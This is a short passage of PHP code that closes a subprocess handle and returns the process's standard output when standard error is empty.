proc_close($process);
if ($stderr == "") {
$return_value = $stdout;